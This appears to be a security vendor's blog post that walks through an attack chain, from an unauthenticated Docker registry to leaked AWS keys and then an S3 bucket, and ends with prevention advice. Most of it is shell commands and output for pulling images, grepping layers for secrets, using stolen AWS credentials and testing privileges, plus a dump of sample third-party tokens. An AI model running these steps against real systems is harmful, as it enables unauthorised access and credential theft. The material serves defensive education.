Highlights
-
Extraction techniques: Learn how attackers bypass architecture mismatches through static analysis—saving images as tarballs to grep for secrets hidden deep within filesystem layers.
-
Credential exposure: Exposed Docker registries turn container images into credential vaults, leaking AWS keys, Stripe secrets, and GitHub tokens via simple
docker pulland.envinspection. -
The attack path: Attackers extract secrets using runtime (
docker run) or static (docker save | grep) methods, then pivot to S3 reads and privilege probes in minutes. -
Defense strategies: Hardcoded secrets in builds create cascading breaches; protect your infrastructure using secret managers, multi-stage Dockerfiles, and strict registry authentication.
In our previous story, we watched how an attacker named “DockerHunter” found an unlocked front door to Acme Inc.’s infrastructure. But discovery is only the beginning. The real nightmare starts when the attacker moves from browsing the catalog to weaponizing the data hidden inside your images.
Imagine the same “Sunday morning coffee” scenario. This time, the attacker isn’t just looking at image names-they are hunting for the “key to the kingdom."
In this deep dive, we’ll trace how a seemingly harmless Node.js image called secret-app became the launchpad for a full-scale cloud environment takeover.
The target: The “secret-app” goldmine
A simple utility application was developed to fetch files from an AWS S3 bucket. To make it work, the developers needed to connect the app to AWS. Under the pressure of a looming sprint deadline, they made a fatal, common mistake: they bundled the AWS credentials directly into the container image. To an attacker, this isn’t just an app; it’s a credential delivery vehicle.
Step 1: How did the attacker find and pull the vulnerable image?
Using the same unauthenticated access we discovered earlier, the attacker (let’s call him Joe) queries the registry.
joe@system:~/docker$ curl http://<redacted-ip>:5000/v2/_catalog
{"repositories":["secrets-app"]}
A quick check for tags reveals version v2:
joe@system:~/docker$ curl http://<redacted-ip>:5000/v2/secrets-app/tags/list
{"name":"secrets-app","tags":["v2"]}
Within seconds, Joe pulls the image to his local machine. He doesn't need to breach your production server yet; he is conducting this analysis in the safety of his own terminal.
joe@system:~/docker$ sudo docker pull <redacted-ip>:5000/secrets-app:v2
v2: Pulling from secrets-app
Digest: sha256:a7ff9d45a28bf0987af355ad93d1ff06af9d9018819f615ca818d74c048e451e
Status: Image is up to date for <redacted-ip>:5000/secrets-app:v2
<redacted-ip>:5000/secrets-app:v2
Step 2: Where exactly are the secrets hiding in the image?
Most developers think that if a container is just “sitting there,” it’s safe. Joe knows better. He has two primary methods to extract your secrets.
Method A: Inspecting the runtime environment
Joe runs the container interactively to see what the application sees.
joe@system:~/docker$ sudo docker run -it --rm secrets-app /bin/sh
# ls
drwxr-xr-x 1 root root 4096 Aug 23 09:40 .
-rw-rw-r-- 1 root root 178 Aug 23 09:38 .env
-rw-rw-r-- 1 root root 119 Aug 23 09:38 Dockerfile
-rw-rw-r-- 1 root root 1123 Aug 23 09:38 app.js
drwxr-xr-x 109 root root 4096 Aug 23 09:41 node_modules
-rw-rw-r-- 1 root root 200 Aug 23 09:38 package.json
The .env file stands out immediately. A simple cat command reveals the jackpot:
joe@system:~/docker$ cat .env
AWS_ACCESS_KEY_ID=AKIAYO5AK3xxxxxxxxxx
AWS_SECRET_ACCESS_KEY=DjD71wF1xxxxxxxxxxxxxxxxxxxx
AWS_REGION=us-east-1
S3_BUCKET=app-secrets-upld
S3_KEY=mytext.txt
PORT=3000
Once an image is pulled, secrets stored in layers are never truly hidden. Every build step, every file copied, every environment variable set, it's all there, waiting to be extracted. Sometimes containers won't run locally due to CPU architecture mismatches or missing dependencies. That's when Joe switches to static analysis—a foolproof fallback that works every time.
Method B: Static analysis via extraction
If the container won’t run locally, Joe simply saves the image as a tarball and digs through the layers manually.
joe@system:~/docker$ sudo docker save <redacted-ip>:5000/secrets-app:latest > secrets-app.tar
joe@system:~/docker$ mkdir extracted
joe@system:~/docker$ tar -xvf secrets-app.tar -C extracted
joe@system:~/docker$ grep -air "ACCESS_KEY" extracted
The result: The keys are exposed across multiple blobs and configuration files, proving that secrets stored in layers are never truly hidden.
blobs/sha256/b624aa2d5ea2cc5b2d6bb21bda0b89b61fe653bca8842f0ad12f2f4c170a4152: secretAccessKey: env.AWS_SECRET_ACCESS_KEY || env.AWS_SECRET_KEY,
blobs/sha256/50323d4a61706ed807a19844a0eee9d3e1e075aaf4046d08fcf04e8a20c1b665:usr/src/app/.env:AWS_ACCESS_KEY_ID=AKIAYO5AK3xxxxxxxxxx
blobs/sha256/50323d4a61706ed807a19844a0eee9d3e1e075aaf4046d08fcf04e8a20c1b665:AWS_SECRET_ACCESS_KEY=DjD71wF1xxxxxxxxxxxxxxxxxxxx
Step 3: How does stolen AWS access translate to cloud control?
With the keys in hand, Joe moves from the Docker registry to the cloud. He configures his AWS CLI using the leaked credentials:
joe@system:~/docker$ aws configure --profile s3-access
AWS Access Key ID: AKIAYO5AK3xxxxxxxxx
AWS Secret Access Key: DjD71wF1xxxxxxxxxxxxxxxxxxxx
Default region name: us-east-1
He then verifies the identity to see exactly who he “is” now:
joe@system:~/docker$ aws sts get-caller-identity --profile s3-access
{
"UserId": "AIDAYO5AK3Sxxxxxxxxxx",
"Account": "5817674xxxxx",
"Arn": "arn:aws:iam::581767xxxxx:user/s3-access"
}
This confirms the credentials are active, tied to a real IAM user, and ready for exploitation.
Step 4: What can an attacker see inside your S3 buckets?
Now Joe begins to map out the damage. He lists the accessible S3 buckets and discovers app-secrets-upld. Inside, he finds a file that sounds too good to be true: secret.txt.
joe@system:~/docker$ aws s3 ls --profile s3-access
2025-07-26 14:27:44 app-secrets-upld
joe@system:~/docker$ aws s3 ls s3://app-secrets-upld --profile s3-access
2025-07-26 15:29:09 30 mytext.txt
2025-07-26 15:31:20 668 secret.txt
He syncs the contents to his local drive for offline inspection:
joe@system:~/docker$ aws s3 sync s3://app-secrets-upld ./ --profile s3-access
download: s3://app-secrets-upld/mytext.txt to ./mytext.txt
download: s3://app-secrets-upld/secret.txt to ./secret.txt
Step 5: How far do the privileges extend?
Joe doesn’t stop at reading files. He needs to know the full extent of his access. Can he upload? Delete? modify?
To fully understand the scope of their access, attackers frequently probe for elevated privileges, attempting actions beyond just reading files, such as uploading new files to the bucket or deleting existing ones. These tests reveal whether the stolen AWS credentials provide write or delete capabilities, helping the attacker map out the potential impact they can cause with the compromised keys.
He tests an upload:
joe@system:~/docker$ aws s3 cp ./test-file.txt s3://app-secrets-upld/ --profile s3-access
upload failed: ./test-file.txt to s3://app-secrets-upld/test-file.txt
An error occurred (AccessDenied) when calling the PutObject operation
Then tries deletion:
joe@system:~/docker$ aws s3 rm s3://app-secrets-upld/mytext.txt --profile s3-access
delete failed: s3://app-secrets-upld/mytext.txt An error occurred (AccessDenied)
The credentials are read-only. For now, that’s a small mercy, but the damage is already catastrophic. If these permissions had included write or delete access, Joe could have planted ransomware payloads or wiped critical data entirely.
Step 6: What’s inside the secret.txt file?
When Joe opens secret.txt, the breach escalates from a cloud leak to a company-wide catastrophe. The single file is a goldmine of third-party access tokens:
joe@system:~/docker$ cat secret.txt
GOOGLE_API_KEY=AIzaSyC8fT9L-RD2eN-Qbq7Evzr2UdExAm7s7Dk
STRIPE_SECRET_KEY=sk_live_51HxOaLjE89TQ0yLpPO0NQfL6UaKm1cYhT3wbx0h9Vu33bl
TWILIO_AUTH_TOKEN=0a7db2487a6db23c5c1ed8f94c62e758
TWILIO_ACCOUNT_SID=AC2b1efdc44c8b3f7a1f3be6a32e6ccfe5
SLACK_WEBHOOK_URL=https://hooks.slack.com/services/T01ABCDEF/B01GHIJKL/klmNOPQRstuVwxyz123456
GITHUB_TOKEN=ghp_JD93kdi8wncO4DF23kjw9ERfjdiD9AdS8fgk
FACEBOOK_APP_SECRET=7b1e8f64f7c8451b9c0f3d11bd93e1d2
OAUTH_CLIENT_SECRET=GOCSPX-kFJgYwKjdfSKjf93KF9djfKJdff
Each line represents a different attack vector:
- Stripe keys: Direct access to payment processing and financial transactions
- GitHub tokens: Full access to source code repositories and CI/CD pipelines
- Twilio credentials: Ability to send SMS messages, potentially for phishing or 2FA bypass
- Google API keys: Access to various google services and potentially customer data
- Slack webhooks: Internal communication monitoring and social engineering opportunities.
What started as a single exposed Docker image has cascaded into a complete organizational breach. This journey from an open port to controlling the company’s finances, code, and communications take less than 30 minutes. It requires no sophisticated malware or zero-day exploits; it only takes basic reconnaissance and the fatal oversight of hardcoded secrets. This six-step chain demonstrates how one minor misconfiguration creates a domino effect, turning a simple container into a master key for your entire infrastructure. We have mentioned how to tackle this in our blog: From discovery to breach: A docker registry security story
FAQ
1.How do attackers discover exposed Docker registries?
Attackers scan public IPs for port 5000 and query /v2/_catalog with curl to list repositories like "secrets-app", then fetch tags via /v2/repo/tags/list —no auth needed.
2.What secrets are commonly leaked in Docker images?
AWS_ACCESS_KEY_ID/SECRET_ACCESS_KEY, Google API keys, Stripe secret keys, Twilio SID/token, Slack webhooks, GitHub PATs, and OAuth secrets often hide in .env, app.js, or layers from COPY . builds.
3.How to prevent credential leaks in container images?
Avoid COPY . with secrets; use multi-stage builds, external vaults (AWS Secrets Manager), .dockerignore for .env, and scan images with Trivy/TruffleHog in CI/CD.
4.Are Docker image secrets safe if the container doesn't run locally?
No—static extraction via docker save reveals layers regardless of architecture/dependencies, grepping for keys across blobs and configs.